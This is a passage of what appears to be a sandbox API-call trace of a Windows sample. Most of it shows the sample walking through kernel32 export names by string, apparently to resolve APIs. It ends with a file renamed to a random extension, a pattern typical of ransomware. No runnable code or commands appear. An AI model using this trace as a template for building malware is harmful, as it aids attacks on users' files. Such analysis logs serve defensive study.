lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0138.684] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0138.684] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0138.684] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0138.684] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0138.684] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0138.684] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0138.684] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0138.684] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0138.684] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0138.684] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0138.684] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0138.684] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0138.684] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0138.684] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0138.684] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0138.684] lstrlenA (lpString="CLOSESTATE") returned 10 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0138.684] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0138.684] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0138.684] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0138.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0138.685] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0138.685] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0138.685] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0138.685] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0138.685] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0138.685] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0138.685] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0138.685] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0138.685] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0138.685] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0138.685] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0138.685] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0138.685] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0138.685] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0138.685] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0138.685] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0138.685] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0138.685] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0138.685] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0138.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0138.686] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0138.686] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0138.686] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0138.686] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0138.686] lstrlenA (lpString="COPYCONTEXT") returned 11 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0138.686] lstrlenA (lpString="COPYFILE2") returned 9 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0138.686] lstrlenA (lpString="COPYFILEA") returned 9 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0138.686] lstrlenA (lpString="COPYFILEEXA") returned 11 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0138.686] lstrlenA (lpString="COPYFILEEXW") returned 11 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0138.686] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0138.686] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0138.686] lstrlenA (lpString="COPYFILEW") returned 9 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0138.686] lstrlenA (lpString="COPYLZFILE") returned 10 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0138.686] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0138.686] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0138.686] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0138.686] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0138.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0138.687] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0138.687] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0138.687] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0138.687] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0138.687] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0138.687] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0138.687] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0138.687] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0138.687] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0138.687] lstrlenA (lpString="CREATEEVENTA") returned 12 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0138.687] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0138.687] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0138.687] lstrlenA (lpString="CREATEEVENTW") returned 12 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0138.687] lstrlenA (lpString="CREATEFIBER") returned 11 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0138.687] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0138.687] lstrlenA (lpString="CREATEFILE2") returned 11 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0138.687] lstrlenA (lpString="CREATEFILEA") returned 11 [0138.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0138.687] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0138.688] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0138.688] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0138.688] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0138.688] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0138.688] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0138.688] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0138.688] lstrlenA (lpString="CREATEFILEW") returned 11 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0138.688] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0138.688] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0138.688] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0138.688] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0138.688] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0138.688] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0138.688] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0138.688] lstrlenA (lpString="CREATEJOBSET") returned 12 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0138.688] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0138.688] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0138.688] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0138.688] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0138.688] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0138.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0138.689] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0138.689] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0138.689] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0138.689] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0138.689] lstrlenA (lpString="CREATEPIPE") returned 10 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0138.689] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0138.689] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0138.689] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0138.689] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0138.689] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0138.689] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0138.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0138.689] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0138.690] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0138.690] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0138.690] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0138.690] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0138.690] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0138.690] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0138.690] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0138.690] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0138.690] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0138.690] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0138.690] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0138.690] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0138.690] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0138.690] lstrlenA (lpString="CREATETHREAD") returned 12 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0138.690] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0138.690] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0138.690] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0138.690] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0138.690] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0138.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0138.690] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0138.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0138.691] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0138.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0138.691] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.iUuIlx") returned 52 [0138.691] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.iUuIlx" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.iuuilx"), dwFlags=0x0) returned 1 [0138.692] 